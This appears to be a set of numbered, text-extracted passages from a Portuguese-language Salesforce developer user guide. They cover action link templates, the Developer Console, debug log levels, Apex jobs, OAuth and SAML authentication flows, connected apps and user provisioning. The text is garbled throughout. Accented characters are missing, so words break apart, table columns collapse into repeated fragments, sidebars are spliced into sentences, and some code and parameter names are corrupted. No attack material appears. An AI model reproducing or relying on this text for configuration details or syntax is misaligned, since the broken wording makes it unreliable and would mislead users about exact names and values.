110. o do hor rio de expira o do grupo de links de a o e Defini o de vari veis vinculantes e Defini o de quem pode ver o link de a o e Uso de vari veis de contexto Vis o geral de modelos de link de a o Aqui est um modelo de grupo de links de a o em Configura o Action Link Group Template Edit zme Information Action Link Group 07gD00000004CEX Template ID Name Doc Example APIName Doc Example Category Primary action Executions Allowed Once per User Hours until Expiration Published y Save Cancel Cancel Required Information Cada grupo de links de a o deve conter ao menos um link Este exemplo de modelo de link de a o cont m tr s vari veis vinculantes o n mero da vers o da API no URL da a o on mero doitemno Corpo da solicita o HTTP e o valor da chave de seguran a do OAuth no campo Cabe alho HTTP Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 141 Action Link Template Edit Information Action Link Group Template Action Type Action URL HTTP Method HTTP Request HTTP Headers Default Link in Group Confirmation Required Templates Overview Jari htips Awww example com H Bindings Apiversionkitems JPost itemNumber Bindings ltemNumber Save Save amp New Content Type application json Authorization Bearer
111. o houver objeto atual a janela de preenchimento autom tico mostrar todas as classes do sistema e do usu rio bem como sObjects Validando altera es no c digo fonte Guia Problemas As altera es que voc faz em um Editor de c digo fonte s o compiladas e validadas em segundo plano Enquanto voc estiver editando o c digo um indicador de erro ser exibido nas linhas com erros e a guia Problems Problemas no painel inferior mostrar os detalhes dos erros de compila o Para recolher a guia Problems Problemas use o bot o no canto do painel Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 19 Quando as exibi es de fonte forem validadas todas as fontes modificadas s o validadas juntas em vez de individualmente N o s o relatadas como erros as altera es que possam ser inconsistentes com o c digo no servidor mas que sejam consistentes quando validadas como um grupo como adicionar um m todo em um arquivo e chamar esse m todo em outro Alterando a vers o da API Use a lista API Version Vers o da API na parte superior do Editor de c digo fonte para alterar a vers o da entidade atual A lista inclui as cinco vers es mais recentes da API e tamb m a vers o atual da entidade Salvando altera es uyn Quando voc faz altera es no Editor de c digo fonte o nome da guia inclui um acionadores do Apex s o salvos com a vers o da API atual da classe
112. ou falso D de a o e regra D do modelo de email destinat rios e emails CC Resumo das a es enfileiradas D do caso e hor rio comercial enhum ome do processo ID do modelo de email e valor booleano indicando o resultado verdadeiro ou falso Categoria registrada C digo do Apex Visualforce Visualforce Fluxo de rabalho uxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho uxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho Fluxo de rabalho luxo de rabalho uxo de rabalho N vel registrado INFOR A ES e acima FORMA ES e acima INFOR A ES e acima INFOR A ES e acima FORMA ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima FORMA ES e acima INFOR A ES e acima FORMA ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima FORMA ES e acima INFOR A ES e acima Aprimorar o Salesforce com c digo Nome do evento WE FIELD UPDATE WE FORMULA WF HARD REJECT WE NEXT APPROVER WE NO PROCESS FOUND WE OUTBOUND MSG WEF PROCESS NOD ial WE REASSIGN RECORD WE RESPONSE NOTIFY WE RULE ENTRY ORDER WEF RULE EVA
113. ou Lotes processados Editions Os trabalhos do Apex agendados que ainda n o conclu ram a execu o Esses trabalhos aparecem na lista como Apex agendado na coluna Tipo de trabalho n o t m valores nas colunas Total de lotes ou Lotes processados e sempre t m o status Em fila Os trabalhos agendados n o podem ser abortados a partir dessa p gina Use a p gina Trabalhos agendados para gerenciar ou excluir trabalhos agendados Mesmo que um trabalho agendado apare a nas p ginas Trabalhos e Trabalhos agendados do Apex ele ser contado apenas uma vez no limite de execu o ass ncrona do Apex Os trabalhos em lote de rec lculo de compartilhamento do Apex que ainda n o terminaram de ser executados Esses trabalhos aparecem na lista como Rec lculos do compartilhamento na coluna Tipo de trabalho Os registros em um trabalho de rec lculo de compartilhamento s o automaticamente divididos em lotes A coluna Total de lotes lista o n mero total de lotes do trabalho A coluna Lotes processados lista o n mero de lotes que j foram processados Os trabalhos do Apex em lote que ainda n o conclu ram a execu o Esses trabalhos aparecem na lista como Apex em lote na coluna Tipo de trabalho Os registros em um trabalho do Apex em lote s o automaticamente divididos em lotes A coluna Total de lotes lista o n mero total de lotes do trabalho A coluna Lotes processados lista o n mero de lotes que j foram processados Nota Os t
114. ou acionador para indicar altera es n o salvas As classes e Para salvar uma cole o de altera es com depend ncias clique em File Arquivo gt Save All Salvar tudo ou em CTRL S SHIFT Todas as guias abertas com modifica es s o salvas em conjunto em uma solicita o Quando voc salva exibi es de fonte modificadas elas s o validadas em rela o a todos os arquivos fonte salvos Se os arquivos fonte tiverem altera es relacionadas ser imposs vel salv las individualmente Se houver qualquer erro de compila o n o ser poss vel salvar Revise o painel Problems Problemas corrija quaisquer erros e clique em Save Salvar novamente Nota Voc n o pode editar nem salvar classes do Apex em uma organiza o de produ o Sincronizando com o c digo na nuvem O Console do desenvolvedor rastreia altera es feitas fonte por outros usu rios enquanto voc tem um arquivo aberto Se voc n o tiver feito nenhuma altera o sua visualiza o ser atualizada automaticamente Se voc tiver feito modifica es n o poder salv las no servidor Voc ver um alerta de que outro usu rio fez altera es com a op o de atualizar a exibi o de fonte para a ltima vers o Cuidado Se escolher atualizar para a ltima vers o de um arquivo suas altera es ser o substitu das Copie sua vers o da exibi o de fonte para preserv la e ent o atualize para a ltima vers o e integre suas
115. ou extens es de pacote gerenciado Os pacotes podem ent o ser instalados em organiza es das edi es Professional Developer Enterprise Performance Unlimited e Database com Use conjuntos de altera es para implantar tipos e registros de metadados personalizados de um sandbox poss vel adicionar tipos e registros de metadados personalizados a pacotes usando a interface do usu rio do Force com Em Configura o insira Pacotes nacaixa Busca r pida selecione Pacotes clique no nome de seu pacote e clique em Adicionar Em seguida para adicionar tipos de metadados personalizados EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 249 1 Selecione o tipo de componente Tipo de metadados personalizados 2 Selecione o tipo de metadados personalizados para adicionar ao pacote 3 Clique em Adicionar ao pacote Para adicionar registros de metadados personalizados 1 Selecione o r tulo do tipo de metadados personalizados dentre os tipos de componente dispon veis por exemplo ReusablePicklist mdt ou se o tipo de um pacote que voc est estendendo ReusablePicklist mdt picklist1234 2 Selecione os registros a serem adicionados 3 Clique em Adicionar ao pacote Quando voc adiciona um registro ao pacote o tipo corresponden
116. ou para configurar registro para um usu rio adicione um sinalizador de rastreamento que inclua uma dura o e um n vel de depura o Para salvar suas altera es e fechar a janela clique em Done Conclu do Nota Se estiver usando pontos de verifica o para depurar defina o n vel de registro do C digo do Apex para MAIS EXATO ou O MAIS EXATO N o use O MAIS EXATO na implementa o Para ver detalhes sobre o que cada configura o controla consulte Categorias de log de depura o e N veis de log de depura o Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 259 O Importante Se o Console do desenvolvedor estiver aberto os n veis de registro gerais definidos no Console do desenvolvedor afetar o todos os registros incluindo aqueles criados durante a implementa o Antes de executar uma implanta o verifique se o n vel de registro do c digo do Apex n o foi definido como O mais exato se for o caso a implanta o pode levar mais tempo do que esperado CONSULTE TAMB M Menu Depurar Inspetor de registro N veis de registro de depura o Ordem de preced ncia dos logs de depura o Inspetor de registro O Inspetor de registro um visualizador de execu o sens vel ao contexto que mostra a origem de uma opera o o que acionou a opera o e o que ocorreu depois Use esta ferramenta para exibir registros de depura o incluindo eventos do ba
117. painel rvore de pilha os pain is Pilha de execu o Registro de execu o e Origem s o atualizados para exibir informa es sobre o objeto relacionado De maneira similar se voc clicar em uma linha no Registro de execu o Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 260 os pain is rvore de pilha Pilha de execu o e Origem s o atualizados com detalhes dessa linha Clicar em um item na guia Unidades executadas na Vis o geral de execu o atualiza os pain is Registro de execu o rvore de pilha Pilha de execu o e Origem rvore de pilha O painel rvore de pilha exibe duas visualiza es de rvore que mostram informa es de cima para baixo do in cio das chamadas at o pr ximo n vel abaixo o que permite ver a hierarquia dos itens em um processo Por exemplo se uma classe chamar uma segunda classe esta ser exibida como um n filho da primeira classe A rvore de execu o exibe cada opera o Por exemplo se um loop for chamar System debug oito vezes a rvore de execu o mostra a dura o de cada chamada Execution Tree Performance Tree Unit Duration 3 ui common apex deb 53 06 53 execute anonymou 53 00 0 11 0 11 0 11 A rvore de desempenho agrega opera es para que voc tenha uma vis o melhor do desempenho geral de uma opera o Usando o mesmo exemplo que acima a rvore de desempenho exibe a d
118. para acessar o Salesforce e querem acessar a API de servi os da Web da mesma forma O fluxo de asser es de SAML s pode ser usado em uma nica organiza o N o necess rio criar um aplicativo conectado para usar esse fluxo de declara es Os clientes podem usar isso para Dispon vel em Salesforce Classic associar se API usando uma asser o de SAML de forma muito semelhante a como se associariam ao Salesforce para login nico da Web Dispon vel em todas as edi es A seguir est o as etapas gerais para uso deste fluxo Muitas das etapas est o descritas com mais detalhes abaixo 1 Configurar SAML na p gina 224 para sua organiza o Voc deve usar o SAML vers o 2 0 a ES IO USU RIO Trocar uma asser o de SAML para uma chave de acesso Para gerenciar criar editar e excluir aplicativos OAuth Use um analisador JSON para processar a resposta e extrairo access token e Gerenciar aplicativos conectados 2 3 O Salesforce envia a resposta 4 Configurando SAML para OAuth Para configurar sua organiza o para usar SAML siga as instru es no t pico Configurando defini es de SAML para login nico Depois de configurar o SAML voc pode usar a mesma configura o exata para federa o da Web e da API Dois URLs s o fornecidos depois que voc configura o SAML para sua organiza o e URL de login do Salesforce com wse este URL ao efetuar login nico na Web e Ponto f
119. para todas as categorias Apenas os n veis que correspondem a um ou mais eventos est o dispon veis ENHUM ERRO VISO NFORMA ES EPURAR INE AIS CORRETO MAIS CORRETO DE TODOS Importante Antes de executar uma implementa o verifique se o n vel de registro do C digo do Apex n o est configurado como O MAIS EXATO Caso contr rio a implanta o pode demorar mais do que o esperado Se o Console do desenvolvedor estiver aberto os n veis de log no Console do desenvolvedor afetar o todos os logs incluindo aqueles criados durante a implementa o Tipos de evento de depura o A seguir est um exemplo do que est gravado no registro de depura o O evento USER _DEBUG O formato hora e data identificador do evento data e hora consiste no hor rio em que o evento ocorreu e em um valor entre par nteses A hora est no fuso hor rio do usu rio e no formato HH mm ss SSS O valor representa o tempo decorrido em milissegundos desde o in cio da solicita o O valor do tempo decorrido exclu do dos logs revisados no Console do desenvolvedor identificador do evento consiste no evento espec fico que acionou o registro de depura o que est sendo escrito como SAVEPOINT RESET OU VALIDATION RULE e qualquer informa o adicional registrada com aquele evento como o nome do m todo ou o n mero da linha e do caractere em que o c digo foi executado
120. pr prio processo personalizado e retomar a a o padr o de nova conta sem entrar em um loop infinito Para isso use o argumento no override na fun o URLFOR lt script type text javascript gt alert Hi I am demonstrating how to interrupt New Account with an override Click OK to continue window parent location href URLFOR SAction Account New null null true lt script gt Para implementar esse s control crie um s control HTML com o conte do acima Em seguida substitua a a o de nova conta usando o s control Nota A nova a o n o exige um ID motivo pelo qual o segundo argumento na fun o URLFOR nu11 Esse exemplo n o exige entradas motivo pelo qual o terceiro argumento na fun o URLFOR nu1 11 O quarto argumento na fun o URLFOR definido como true para ignorar a substitui o evitando um loop infinito Substitui o condicional de p gina inicial de contas com guias poss vel substituir uma p gina inicial com guias condicionalmente redirecionando a p gina original para um s control dependendo de algumas condi es Por exemplo poss vel exibir um s control em vez da p gina inicial com guias padr o Contas para usu rios com um perfil espec fico Usando a amostra de c digo abaixo crie um s control para exibir informa es sobre candidatos a emprego aos usu rios com o perfil Recrutador quando eles clicarem na guia Contas Para os demais usu rios exibir a p gina inic
121. processados referente ao n mero total de lotes enviados O andamento n o ser mostrado quando o trabalho for aberto porque o n mero total de lotes no trabalho n o conhecido at que o trabalho seja fechado O andamento talvez n o reflita precisamente o n mero de registros processados Os lotes talvez n o contenham o mesmo n mero de registros e eles poder o ser processados em velocidades diferentes O n mero de lotes em fila neste trabalho O n mero de registros que n o foram processados com xito neste trabalho O n mero de registros processados no momento em que a solicita o foi enviada Esse n mero aumenta medida que mais lotes s o processados O n mero de vezes que o Salesforce tentou salvar os resultados de uma opera o As tentativas repetidas se devem a um problema como uma conten o de bloqueio Aprimorar o Salesforce com c digo Campo Hora de in cio Status Enviado por Periodo para concluir Tempo de processamento total ms Guia do usu rio Integra o de aplicativos com o Salesforce 159 Descri o A data e a hora em que o trabalho foi enviado O estado atual do processamento do trabalho Os valores v lidos s o e Open Abrir O trabalho foi criado e os lotes podem ser adicionados ao trabalho e Fechado Nenhum lote novo pode ser adicionado a este trabalho Os lotes associados ao trabalho poder o ser processados depois que um trabalho for fechado Voc
122. que aparecer no URL como o nome da p gina Esse nome pode conter somente sublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos Na caixa de texto R tulo digite o texto que dever ser usado para identificar a p gina nas ferramentas de Configura o como ao definir guias personalizadas ou substituir bot es padr o Na caixa de texto Nome digite o texto que dever ser usado para identificar a p gina na API Esse nome pode conter somente sublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos Na caixa detexto Descri o especifique uma descri o opcional da p gina Selecione Dispon vel para aplicativos m veis do Salesforce afim de ativar as guias do Visualforce associadas p gina do Visualforce que ser exibida no aplicativo Salesforce1 A caixa de sele o est dispon vel para p ginas definidas para a API vers o 27 0 ou posterior Nota As guias de objeto padr o substitu das por uma p gina do Visualforce n o s o suportadas no Salesforce1 mesmo que voc selecione a op o Dispon vel para aplicativos m veis do Salesforce paraa p gina A p gina padr o do Salesforce1 referente ao objeto exibida
123. que precise se integrar Salesforce para verificar usu rios e controlar pol ticas de seguran a para aplicativos externos Quaisquer aplicativos de acesso remoto existente foram automaticamente migrados para os aplicativos conectados com a vers o Summer 13 CONSULTE TAMB M Vis o geral de aplicativos conectados Aplicativos conectados Vis o geral de aplicativos conectados PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar Fazer download de pacotes do AppExchange Guia do usu rio Integra o de aplicativos com o Salesforce 163 EDICOES Disponivel em Salesforce Classic Disponivel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados EDI ES Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance U
124. que usam provedores de servi os de SAML defina a ID de entidade o URL do ACS servi o do consumidor de declara o Tipo de assunto Formato do ID de nome e emissor devem estar dispon veis no provedor de servi os para autorizar o aplicativo conectado H dois modos de implementa o e Qaplicativo criado e usado na mesma organiza o Esse um caso de uso t pico para departamentos de TI por exemplo e Oaplicativo criado em uma organiza o e instalado em outras organiza es assim que uma entidade com v rias organiza es ou um ISV usa aplicativos conectados Os administradores podem instalar o aplicativo conectado em sua organiza o ativar a autentica o do SAML e usar perfis conjuntos de permiss es e restri es de intervalo de IP para controlar quais usu rios podem acessar o aplicativo Eles podem configurar o aplicativo conectado para ser exposto como um aplicativo de tela para uma integra o mais estreita a UI do Salesforce Os administradores tamb m podem desinstalar o aplicativo conectado e instalar uma vers o mais recente quando um desenvolvedor atualiza o aplicativo remoto e informa aos administradores que h uma nova vers o dispon vel Nota Em uma organiza o do Group Edition n o poss vel gerenciar o acesso de um usu rio individual usando perfis Entretanto poss vel definir pol ticas ao editar as configura es de um aplicativo conectado do OAuth em uma organiza o do Group
125. rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh Fluxo de luxo de Fluxo de luxo de Fluxo de luxo de luxo de Fluxo de luxo de Fluxo de Fluxo de luxo de Fluxo de Fluxo de luxo de Fluxo de 0 o 0 O o O o 0 o 0 O Fluxo de 0 o 0 O o 0 CORRETO e acima CORRETO e acima ERRO e acima ERRO e acima ERRO e acima ERRO e acima ERRO e acima AVISO e acima INFOR A ES e acima INFOR A ES e acima MAIS EXATO e acima MAIS EXATO e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima ERRO e acima Aprimorar o Salesforce com c digo Nome do evento FLOW SUBFLOW DETAIL FLOW VALUE ASSIGNMENT FLOW WAIT EVENT RESUMING DETAIL FLOW WAIT EVENT WAITING DETAIL FLOW WAIT RESUMING DETAIL FLOW WAIT WAITING DETAIL HEAP ALLOCATE HEAP DEALLOCATE IDEAS QUERY EXECUTE LIMIT USAGE FOR NS Guia do usu rio Registros de depura o 281 Campos ou informa es registradas com o Categoria N vel evento registrada registrado D da entrevista nome ID da defini o e ID da vers o Fluxo de MAIS EXATO rabalho e acima D de entrevista chave e valor
126. rio Ele usa a data no campo de mesclagem OriginDateTime para obter o n mero de dias desde que um campo personalizado chamou Meu campo de data Em seguida ele adiciona o n mero de dias para o valor OriginDateTime SSystem OriginDatetime My Date Field c DATEVALUE SSystem OriginDatetime Nota OriginDateTime est no fuso hor rio GMT mas o resultado exibido no fuso hor rio local do usu rio Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Exemplo de fluxo processo e Visualforce Dicas SUser Descri o Use Exemplo de regra de valida o Exemplo de fluxo Exemplos do Visualforce Visualforce 38 O exemplo a seguir calcula o n mero de dias que se passaram desde 1 de janeiro de 1900 NOW S System OriginDateTime Essa vari vel global est dispon vel em e Valores padr o e F rmulas em campos personalizados fluxos processos e regras de fluxo de trabalho e A es de atualiza o de campo de fluxo de trabalho e P ginas do Visualforce e s controls Um tipo de campo de mesclagem global a ser usado ao fazer refer ncia a informa es sobre o usu rio atual Campos de mesclagem de usu rios podem fazer refer ncia a informa es sobre o usu rio como alias t tulo e ID 1 Selecione o tipo de dados User 2 Selecione um campo de mesclagem como SUser Username A f rmula de regra de valida o abaixo faz refer
127. rio Activate Usu rio Congelar usu rio Congelar UserLogin Descongelar usu rio Descongelar UserLogin Reativar usu rio Reativar Usu rio Alterar perfil de usu rio Criar desativar Usu rio Atribuir cancelar atribui o de um conjunto Criar desativar PermissionSetAssignment de permiss es a um usu rio Atribuir cancelar a atribui o de um perfil Criar desativar SetupEntityAccess ao aplicativo conectado Atribuir cancelar a atribui o de um Criar desativar SetupEntityAccess conjunto de permiss es ao aplicativo conectado O valor da opera o armazenado no objeto UserProvisioningRequest O Salesforce pode processar a solicita o imediatamente ou aguardar o processo de aprova o completo caso voc adicione um processo de aprova o durante as etapas do assistente de Provisionamento de usu rios Para processar a solicita o o Salesforce usa um fluxo dotipo Provisionamento de usu rios que inclui uma refer ncia classe UserProvisioningPlugin do Apex O fluxo chama a API do servi o de terceiros para gerenciar o provisionamento de contas de usu rios nesse sistema Se voc quiser enviar solicita es de provisionamento de usu rios com base em eventos no Active Directory use o Salesforce Identity Connect para capturar esses eventos e sincroniz los na organiza o do Salesforce Em seguida o Salesforce envia as solicita es de provisionamento de usu rios para o sistema de terceiros para provisionar ou cancelar
128. rios personalizados de aplicativos conectados Organiza es com provisionamento de usu rios em aplicativos conectados podem executar EDI ES relat rios que mostram contas solicita es e outras informa es sobre provisionamento usando tipos de relat rio personalizados Dispon vel em Salesforce 1 Familiarize se com os tipos de relat rio personalizados e as etapas gerais para cri los e Classic mant los p a Dispon vel em Edi es 2 Crie tipos de relat rio personalizados relacionando esses objetos e configurando os conforme Enterprise Performance a necessidade Disponibilize todos os campos para relat rios Adicione cada relat rio categoria Unlimited e Developer de tipo de relat rio Provisionamento de usu rios D um nome e uma descri o que sejam claros para cada tipo de relat rio para que os usu rios que criam relat rios possam saber qual eles devem usar para suprir suas necessidades PERMISS ES DO USU RIO Objeto principal Descri o Para criar ou atualizar tipos de relat rios personalizados e Gerenciar tipos de Contas de provisionamento de usu rios Cont m informa es que associam uma conta de usu rio do Salesforce a uma conta em um sistema de terceiros destino como o Google a relatorios para usu rios de aplicativos conectados com personalizados provisionamento de usu rios do Salesforce e Para excluir tipos de ativado E relatorios personalizados Logs de p
129. seguras usando outros recursos do Salesforce como callouts do Apex use certificados e pares de chave do Salesforce Em Configura o insira API na caixa Busca r pida selecione API e na p gina Fazer o download do WSDL clique com o bot o direito do mouse em Fazer download de certificado do cliente e salve o em um local adequado Voc pode ent o importar o certificado descarregado para o servidor de aplicativos e configurar o servidor para solicitar o certificado de cliente CONSULTE TAMB M http www salesforce com us developer docs apexcode index htm http www salesforce com us developer docs api meta index htm Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 136 Qual API devo usar O Salesforce fornece um acesso program tico s informa es de sua organiza o usando interfaces de programa o de aplicativo simples robustas e seguras EDI ES Dispon vel em Salesforce Nome da API Protocolo Formato de data Comunica o Classic API REST REST JSON XML S ncrono Dispon vel em Edi es APISOAP SOAP WSDL XML S ncrono Enterprise Performance Unlimited Developer e API REST do Chatter REST JSON XML S ncrono fotos s o Database com processadas de forma seve Ong PERMISSOES DO API em massa REST CSV XML Assincrono USUARIO API de metadados SOAP WSDL XML Assincrono Para usar as APIs API de streaming Bayeux JSON Assincrono fluxo de COPEAWEOS dados
130. sele o Atualizado n o estiver marcada o campo s ser mencionado dentro do escopo operacional Por exemplo ele pode ser inclu do como parte de uma instru o select Se a caixa de sele o ID externo estiver selecionada o campo agir como ID externo O campo ID externo cont m identificadores de registro exclusivos a partir de um sistema fora do Salesforce Voc pode usar a pesquisa da barra lateral para encontrar valores de ID externo e o campo na API do Force com Ao usar o Assistente de importa o de dados para solu es e objetos personalizados voc poder usar esse campo para evitar valores duplicados Guia do usu rio Integra o de aplicativos com o Salesforce 134 EDICOES Disponivel em Salesforce Classic Os pacotes do AppExchange e o Visualforce est o dispon veis em Edi es Group Professional Enterprise Performance Unlimited e Developer Apex dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Para carregar pacotes e Carregar pacotes do AppExchange Para exibir as depend ncias do Apex e Apex do autor Para exibir as depend ncias do Visualforce e Modo de desenvolvimento Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 135 Fazendo download de WSDLs do Salesforce e Certificados de autentica o de cliente Voc pode fazer download
131. selecione Visualforce 56 PERMISS ES DO USU RIO Para definir editar excluir definir a seguran a definir as configura es da vers o mostrar depend ncias e executar testes de classes do Apex e Apex do autor Classes do Apex Para obter funcionalidades de desenvolvimento adicionais use o Console do desenvolvedor Para criar uma classe do Apex na p gina Classes Apex clique em Novo e insira seu c digo Apex no editor Embora os desenvolvedores possam gravar m todos de classe de acordo com a sintaxe descrita no Force com Apex Code Developer s Guide Guia do desenvolvedor do Apex Code as classes tamb m podem ser geradas automaticamente consumindo um documento WSDL armazenado em um disco r gido local ou em uma rede A cria o de uma classe consumindo um documento WSDL permite que os desenvolvedores fa am callouts para o servi o externo da Web no Apex Na p gina Classes Apex clique em Gerar do WSDL para gerar uma classe do Apex a partir de um documento WSDL Depois de criar uma classe do Apex voc pode executar qualquer uma das seguintes a es e Clique em Editar ao lado do nome da classe para modificar o seu conte do em um editor simples e Clique em Excluir ao lado do nome da classe para excluir a classe da organiza o Nota Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o d
132. sobre o cabe alho da solicita o de aceita o Vers o Esse par metro opcional Especifique um n mero de vers o da API SOAP ou a string literal ltimo Se esse valor n o for especificado os URLs da API conter o o valor literal vers o no lugar do n mero da vers o para que o cliente fa a a substitui o da string Se o valor for especificado como ltimo a vers o da API mais recente ser usada PrettyPrint Esse par metro opcional e s aceito em um cabe alho n o como um par metro de URL Especifique a sa da para ser formatada melhor Por exemplo use o seguinte em um cabe alho X PrettyPrint 1 Se esse valor n o for especificado o XML ou JSON retornado ser otimizado para o tamanho n o para a legibilidade Callback Esse par metro opcional Especifique um valor de fun o JavaScript v lido Esse par metro s usado quando o formato especificado como JSON A sa da agrupada nesse nome de fun o JSONP Por exemplo se uma solicita o para https server id orgid userid retornar foo bar umasolicita o para https server id orgid userid callback baz retornar baz foo bar Resposta do Userinfo Endpoint Depois de fazer uma solicita o v lida o Salesforce retorna as seguintes informa es no formato JSON por padr o ou qualquer outro que estiver especificado no par metro Formato A resposta inclui valores listados no Perfil de cliente b sico do OpenID Connect
133. sobre o uso de client assertion consulte as especifica es do OpenID Connect para o m todo de autentica o do cliente private key jwt client assertion type Forne a esse valor ao usar o par metro client assertion Ovalorde client assertion type deve ser urn ietf params oauth client assertion type jwt bearer uri de redire o URI para o qual redirecionar o usu rio ap s a aprova o Esse valor deve corresponder exatamente ao valor do campo URL de retorno do aplicativo conectado e o mesmo valor enviado pelo redirecionamento inicial Consulte Redirecionar usu rio para obter autoriza o de acesso na p gina 214 c digo C digo de autoriza o obtido do callback ap s a aprova o code verifier Especifica 128 bytes de dados aleat rios com entropia alta o suficiente para dificultar que adivinhem o valor ajudando assim a evitar ataques de intercepta o de c digo de autoriza o O valor tamb m deve ser codificado uma vez em Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 217 base64url conforme definido aqui ht tps tools ietf org html rfc4648fsection 5 Esse par metro necess rio apenas se um par metro code challenge especificado na solicita o de autoriza o Seovalorde code verifier for inclu do na solicita o de token e um valor de code challenge for inclu do na solicita o de autoriza o o Salesforce comparar code
134. solicitar um token de acesso OAuth quando um cliente desejar usar uma autoriza o anterior A autentica o do aplicativo autorizado fornecida pela assinatura digital aplicada declara o SAML e Fluxo de declara o SAML O fluxo de declara o SAML uma alternativa para as organiza es que no momento est o usando SAML para acessar o Salesforce e querem acessar a API de servi os da Web da mesma forma O fluxo de asser es de SAML s pode ser usado em uma nica organiza o N o necess rio criar um aplicativo conectado para usar esse fluxo de declara es e Nome de usu rio e senha do OAuth 2 0 O fluxo de autentica o de senhas do nome de usu rio pode ser usado para autenticar quando o consumidor j tiver as credenciais do usu rio 6 Cuidado Este fluxo de autentica o OAuth envolve passar as credenciais do usu rio para frente e para tr s Use esse fluxo de autentica o apenas quando necess rio N o ser emitido um token de atualiza o Para todos os fluxos de autentica o se o usu rio for solicitado a autorizar o acesso e em vez disso clicar no link indicando que n o o usu rio conectado o usu rio atual ser desconectado e o fluxo de autoriza o reiniciar a autentica o do usu rio Nota Os usu rios podem autorizar um aplicativo para acessar o Salesforce mais de uma vez por exemplo para um laptop e um desktop O limite padr o de cinco autoriza es por aplicativo p
135. uma classe especificada como um controlador em um componente ou pagina do Visualforce e Se sua classe tiver um m todo definido como um webService clique em Gerar WSDL para gerar um documento WSDL baseado na classe Nota Voc n o pode gerar um documento WSDL para classes definidas como isTest Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 60 e Clique em Fazer download para fazer download de uma c pia do Apex e Clique em Executar teste para executar os testes de unidade contidos na classe e Clique em Seguran a para definir a seguran a do n vel da classe do Apex e Clique em Mostrar depend ncias para exibir os itens como campos objetos ou outras classes que devem existir para que esta classe seja v lida A guia Resumo das classes exibe o prot tipo da classe ou seja classes m todos e vari veis que est o dispon veis a outro c digo do Apex A guia Resumo das classes lista o n vel de acesso e a assinatura para cada m todo e vari vel em uma classe do Apex assim como quaisquer classes internas Se n o houver nenhum prot tipo dispon vel essa guia n o estar dispon vel Nota e Para as classes do Apex que n o estiverem inclu das nos pacotes gerenciados s o exibidos somente classes m todos e vari veis definidos como global ou p blico e Para as classes do Apex inclu das em pacotes gerenciados a guia Resumo das classes tamb m lista a vers o do pa
136. unidade e Cada acionador deve ter alguma cobertura de teste e Todas as classes e acionadores devem ser compilados corretamente CONSULTE TAMB M Detalhes dos resultados dos testes do Apex Detalhes dos resultados dos testes do Apex Para exibir todos os resultados de teste de sua organiza o na exibi o padr o por 30 dias se n o forem descartados e n o apenas os testes que voc executou em Configura o insira Apex na caixa Busca r pida selecione Execu o de teste do Apex e clique em Exibir hist rico de teste Clique em Exibir para exibir mais detalhes sobre a execu o de um teste espec fico CONSULTE TAMB M Resultados do teste do Apex Executando testes no console do desenvolvedor Executar testes no Console do desenvolvedor Use o Console do desenvolvedor para configurar execu es de teste executar testes e verificar a cobertura do Apex code O menu Test Teste do Console do desenvolvedor permite gerenciar as execu es de teste Ele inclui as seguintes op es e Sempre executar de forma ass ncrona a menos que a op o Sempre executar de forma ass ncrona esteja ativa esteja ativada as execu es de teste que incluem testes de apenas uma classe ser o executadas de forma s ncrona As execu es de teste que incluem mais de uma classe s o executadas de forma ass ncrona independentemente da ativa o dessa op o EDI ES Dispon vel em Salesforce Classic e Lightning Experience
137. uri de redirecionamento n o fornecido redirect uri mismatch incompatibilidade do redirect uri com a defini o do aplicativo conectado insucesso imediato insucesso imediato invalid scope o escopo solicitado inv lido desconhecido ou mal formado estado Estado que foi informado na etapa de aprova o Isso n o ser inclu do se o par metro state n o for inclu do na string de consulta original O Servidor Web troca o c digo de verifica o para chave de acesso Depois de obter o c digo de autoriza o o servidor Web troca o c digo de autoriza o para obter uma chave de acesso O consumidor deve fazer um POST diretamente para o ponto final da chave com os seguintes par metros tipo de concessdo O valor deve ser c digo de autoriza o para este fluxo client id chave do consumidor a partir da defini o do aplicativo conectado client secret segredo do consumidor a partir da defini o do aplicativo conectado client assertion Emvezde passar client secret poss vel optar por fornecer um client assertione um client assertion type Caso um par metro client secret n o seja fornecido o Salesforce verificar client assertion e client assertion type automaticamente Ovalorde client assertion deve ser um token portador JWT t pico assinado com a chave privada associada ao certificado carregado do OAuth 